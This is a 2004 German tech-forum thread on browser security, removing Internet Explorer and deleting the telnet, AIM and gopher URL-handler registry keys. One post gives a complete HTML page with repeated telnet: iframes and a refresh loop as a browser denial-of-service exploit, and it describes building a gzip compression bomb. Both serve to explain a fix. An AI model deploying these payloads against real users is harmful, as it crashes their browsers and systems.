WinFuture-Forum.de: Nachtforum V2 - WinFuture-Forum.de

Zum Inhalt wechseln

Beiträge in diesem Forum erhöhen euren Beitragszähler nicht.
  • 249 Seiten +
  • « Erste
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • Letzte »

Nachtforum V2 nur zwischen 23 und 6 Uhr!

#1443 Mitglied ist offline   xxfaxexx 

  • Gruppe: aktive Mitglieder
  • Beiträge: 572
  • Beigetreten: 06. Dezember 03
  • Reputation: 0

geschrieben 30. Juni 2004 - 23:46

Moin,

erstmal danke für eure Hilfe :rolleyes: . Mir geht es nur darum, dass ich mal gelesen habe, dass man nur Programme usw. installieren soll die man auch wirklich braucht. Weil umso mehr Software man auf dem Rechner hat desto mehr fehlerhafte Codes hat man usw. Oder habe ich da was falsch verstanden?

Cui Faxe

Anzeige



#1444 Mitglied ist offline   Kuja 

  • Gruppe: aktive Mitglieder
  • Beiträge: 71
  • Beigetreten: 15. April 04
  • Reputation: 0
  • Wohnort:Berlin

geschrieben 30. Juni 2004 - 23:46

Zitat (Stulle: 01.07.2004, 00:38)

Faxe

Wenn Du ihn nicht benutzt, gibt es auch keine Sicherheitslücken die ausgenutzt werden können.

Das stimmt so nicht, es gibt auch Sicherheitslücken die ohne den IE ausgenutzt werden können.

#1445 Mitglied ist offline   xxfaxexx 

  • Gruppe: aktive Mitglieder
  • Beiträge: 572
  • Beigetreten: 06. Dezember 03
  • Reputation: 0

geschrieben 30. Juni 2004 - 23:50

Und was ist da nun am besten bzw. am sichersten?

Cui Faxe

#1446 Mitglied ist offline   Stulle 

  • Gruppe: aktive Mitglieder
  • Beiträge: 763
  • Beigetreten: 04. Dezember 03
  • Reputation: 0
  • Wohnort:Brotbackautomat
  • Interessen:viele

geschrieben 30. Juni 2004 - 23:52

Zitat (Kuja: 01.07.2004, 00:46)

Zitat (Stulle: 01.07.2004, 00:38)

Faxe

Wenn Du ihn nicht benutzt, gibt es auch keine Sicherheitslücken die ausgenutzt werden können.

Das stimmt so nicht, es gibt auch Sicherheitslücken die ohne den IE ausgenutzt werden können.

Es war vom Internet Explorer die Rede. Nur die dort enthaltenen Sicherheitslücken meinte ich.


Natürlich hast Du sonst recht kuja
..................................

Die Signatur ist verloren gegangen. Eingefügtes Bild

#1447 Mitglied ist offline   Dawn 

  • Gruppe: aktive Mitglieder
  • Beiträge: 2.991
  • Beigetreten: 18. Februar 04
  • Reputation: 2
  • Geschlecht:Männlich
  • Wohnort:Thüringen
  • Interessen:Anime & Manga, PC Hard-/Software, Zocken, Musik hören usw.

geschrieben 30. Juni 2004 - 23:54

Am sichersten ist nix jede Software hat sicherheitslücken nur werden die bei Firefox und co nicht ausgenutzt da die merhheit immernoch mit dem ie unterwegs ist. Es gibt eigentlich nur eins was man machen kann die jeweilige Software immer auf dem aktuellsten stand zu halten.

Dieser Beitrag wurde von GeForceFX User bearbeitet: 30. Juni 2004 - 23:54

Eingefügtes Bild

Eingefügtes Bild

Anime Freak 4 Ever !

#1448 Mitglied ist offline   xxfaxexx 

  • Gruppe: aktive Mitglieder
  • Beiträge: 572
  • Beigetreten: 06. Dezember 03
  • Reputation: 0

geschrieben 30. Juni 2004 - 23:58

Zitat (GeForceFX User: 01.07.2004, 00:54)

Am sichersten ist nix jede Software hat sicherheitslücken nur werden die bei Firefox und co nicht ausgenutzt da die merhheit immernoch mit dem ie unterwegs ist. Es gibt eigentlich nur eins was man machen kann die jeweilige Software immer auf dem aktuellsten stand zu halten.

Moin,

das ist mir schon klar/bekannt! Aber wenn ich den i-Explorer drauf habe und nicht benutze dann ´brauche ich ihn doch auch nicht. Es gibt doch auch bestimmt die Möglichkeit, das mir dann nen Hacker oder so von ausen den I-Explorer startet und mich somit hackt oder so. Oder ist das nicht möglich?

Cui Faxe

#1449 Mitglied ist offline   Rika 

  • Gruppe: aktive Mitglieder
  • Beiträge: 11.505
  • Beigetreten: 11. Juni 03
  • Reputation: 2
  • Geschlecht:Männlich

geschrieben 01. Juli 2004 - 00:18

Es gibt sehr wohl eine Lücke in Windows, die sich auf alle Browser überträgt.
Nur im IE lässt sich diese auch noch zu anderen Sachen als DoS ausnutzen.
Die Lösung ist trivial und schon im dingens-Tool enthalten.

Zitat

[-HKEY_CLASSES_ROOT\AIM]
[-HKEY_CLASSES_ROOT\gopher]
[-HKEY_CLASSES_ROOT\telnet]


Naja, und natürlich GZIP-Bombs.
Konnichiwa. Manga wo shitte masu ka? Iie? Gomenne, sonoyouna koto ga tabitabi arimasu. Mangaka ojousan nihongo doujinshi desu wa 'Clamp X', 'Ayashi no Ceres', 'Card Captor Sakura', 'Tsubasa', 'Chobits', 'Sakura Taisen', 'Inuyasha' wo 'Ah! Megamisama'. Hai, mangaka gozaimashita desu ni yuujin yori.
Eingefügtes Bild
Ja, mata ne!

(For sending email please use OpenPGP encryption and signing. KeyID: 0xA0E28D18)

#1450 Mitglied ist offline   xxfaxexx 

  • Gruppe: aktive Mitglieder
  • Beiträge: 572
  • Beigetreten: 06. Dezember 03
  • Reputation: 0

geschrieben 01. Juli 2004 - 00:31

Zitat (Rika: 01.07.2004, 01:18)

Die Lösung ist trivial und schon im dingens-Tool enthalten.

Zitat

[-HKEY_CLASSES_ROOT\AIM]
[-HKEY_CLASSES_ROOT\gopher]
[-HKEY_CLASSES_ROOT\telnet]


Naja, und natürlich GZIP-Bombs.

Moin,

kannste das bitte mal genauer erklären?
Und was meinst du dazu @Rika:
Wenn ich Firefox Installiert habe kann ich doch den i-Exploerer Komplett entfernen ohne das dieses Probs verursachen dürfte oder?

Cui Faxe

#1451 Mitglied ist offline   Dawn 

  • Gruppe: aktive Mitglieder
  • Beiträge: 2.991
  • Beigetreten: 18. Februar 04
  • Reputation: 2
  • Geschlecht:Männlich
  • Wohnort:Thüringen
  • Interessen:Anime & Manga, PC Hard-/Software, Zocken, Musik hören usw.

geschrieben 01. Juli 2004 - 00:34

Den IE komplett zu Entfernen ist nicht ratsam da er fest im System integriert ist und auch vieles auf dem IE aufbaut.
Eingefügtes Bild

Eingefügtes Bild

Anime Freak 4 Ever !

#1452 Mitglied ist offline   xxfaxexx 

  • Gruppe: aktive Mitglieder
  • Beiträge: 572
  • Beigetreten: 06. Dezember 03
  • Reputation: 0

geschrieben 01. Juli 2004 - 00:47

Moin,

OK danke dann werde ich ihn drinne lassen :rolleyes: .

Cui Faxe

#1453 Mitglied ist offline   ZakMcKracken 

  • Gruppe: aktive Mitglieder
  • Beiträge: 848
  • Beigetreten: 18. März 04
  • Reputation: 0
  • Wohnort:Koblenz

geschrieben 01. Juli 2004 - 00:51

Es wäre was feines, wenn man den IE rausschmeißen könnte.

Aber leider programmieren viele Webdesigner nur nach IE und nich nach alternativen Browsern, so dass ich div. Seite nicht im Firefox oder ähnlichen anzeigen lassen...

#1454 Mitglied ist offline   Rika 

  • Gruppe: aktive Mitglieder
  • Beiträge: 11.505
  • Beigetreten: 11. Juni 03
  • Reputation: 2
  • Geschlecht:Männlich

geschrieben 01. Juli 2004 - 01:12

@xxfakexx:

<html><body>
<meta http-equiv="reload" content="5;index.html">
<iframe src="telnet:blahsuelzlaber.org">
<iframe src="telnet:blahsuelzlaber.org">
<iframe src="telnet:blahsuelzlaber.org">
<iframe src="telnet:blahsuelzlaber.org">
<iframe src="telnet:blahsuelzlaber.org">
<iframe src="telnet:blahsuelzlaber.org">
<iframe src="telnet:blahsuelzlaber.org">
<iframe src="telnet:blahsuelzlaber.org">
<iframe src="telnet:blahsuelzlaber.org">
<iframe src="telnet:blahsuelzlaber.org">
<script language="JavaScript">
docuemnt.setTimeout("document.refresh(document.location)");
</script></body></html>

Oder wie's ein Mitglied scho mal schrieb: "Hey, kann mir mal einer sagen, warum Opera brav den Telnet-Explot ausführt?"
Mozilla/Firefox ist dementsprechend auch betroffen.

Abhilfe schafft das Löschen des URL-Handlers. Und weil das AIM-Protokoll schon seit jeher als kaputt bekannt ist und das gopher-Protokoll nix mehr taugt bzw. wie sich beim IE zeigte gar noch eine Sicherhietslücke darstellen kann, haut man diese am besten auch noch gleich mit raus.


Das andere ist eine typische Kompressionsbombe. Du packst eine HTML-Datei mit 10 Mrd. gleichen Zeichen voll, gzipst sie und packst sie auf einen entsprechenden Server, der HTTP 1.1 unterstützt. So, wenn jetzt jemand die Seite abruft, dann fordert der Browser die komprimierte Version an, der Server übertägt die komprimierte Version, der Browser entpackt sie und entpackt sich dabei dumm und dämlich. Speicher voll, swappt nur noch, Browser praktisch tot. Einen passenden Patch dagegen habe ich schon längst eingereicht, sollte dann hoffentlich im Firefox 1.0 drin sein.
Konnichiwa. Manga wo shitte masu ka? Iie? Gomenne, sonoyouna koto ga tabitabi arimasu. Mangaka ojousan nihongo doujinshi desu wa 'Clamp X', 'Ayashi no Ceres', 'Card Captor Sakura', 'Tsubasa', 'Chobits', 'Sakura Taisen', 'Inuyasha' wo 'Ah! Megamisama'. Hai, mangaka gozaimashita desu ni yuujin yori.
Eingefügtes Bild
Ja, mata ne!

(For sending email please use OpenPGP encryption and signing. KeyID: 0xA0E28D18)

#1455 Mitglied ist offline   xxfaxexx 

  • Gruppe: aktive Mitglieder
  • Beiträge: 572
  • Beigetreten: 06. Dezember 03
  • Reputation: 0

geschrieben 01. Juli 2004 - 01:31

Moin,

Zitat

@Rika

Abhilfe schafft das Löschen des URL-Handlers.


Und wie löscht man diesen? Hat es auch negative seiten oder wir das nicht benötgt?

Cui Faxe

#1456 Mitglied ist offline   Rika 

  • Gruppe: aktive Mitglieder
  • Beiträge: 11.505
  • Beigetreten: 11. Juni 03
  • Reputation: 2
  • Geschlecht:Männlich

geschrieben 01. Juli 2004 - 01:46

1. Ich hab die zu löschenden Registry-Schlüssel sowie das Tool, in dem sie ebenfalls gehlöscht werden, bereits erwähnt.
2. Ja. Du kannst mit dem originalen AIM-Client keine aim:-Links mehr anklicken, und wenn du es gewähnt warst, über Start, Ausführen, telnet:host.com deine Telnet-Sessions zu starten, dann wird auch das nicht mehr gehen.
3. Ja, wenn man mal recht darüber nachdenkt, wird es einfach nicht benötigt. Taugt offenbar nur für DoS oder im Falle der AIM-Links sogar für Einschleusen von Code.
Konnichiwa. Manga wo shitte masu ka? Iie? Gomenne, sonoyouna koto ga tabitabi arimasu. Mangaka ojousan nihongo doujinshi desu wa 'Clamp X', 'Ayashi no Ceres', 'Card Captor Sakura', 'Tsubasa', 'Chobits', 'Sakura Taisen', 'Inuyasha' wo 'Ah! Megamisama'. Hai, mangaka gozaimashita desu ni yuujin yori.
Eingefügtes Bild
Ja, mata ne!

(For sending email please use OpenPGP encryption and signing. KeyID: 0xA0E28D18)

#1457 Mitglied ist offline   xxfaxexx 

  • Gruppe: aktive Mitglieder
  • Beiträge: 572
  • Beigetreten: 06. Dezember 03
  • Reputation: 0

geschrieben 01. Juli 2004 - 02:22

Moin,

@Rika:

habe das Original-Tool davon ausgeführt. Habe gerade geschaut und habe von den drei Schlüsseln nur noch den [-HKEY_CLASSES_ROOT\telnet]. Dieser dürfte aber doch eigentlich auch nicht mehr da sein oder Täusche ich mich da?

Cui Faxe

Thema verteilen:


1 Besucher lesen dieses Thema
Mitglieder: 0, Gäste: 1, unsichtbare Mitglieder: 0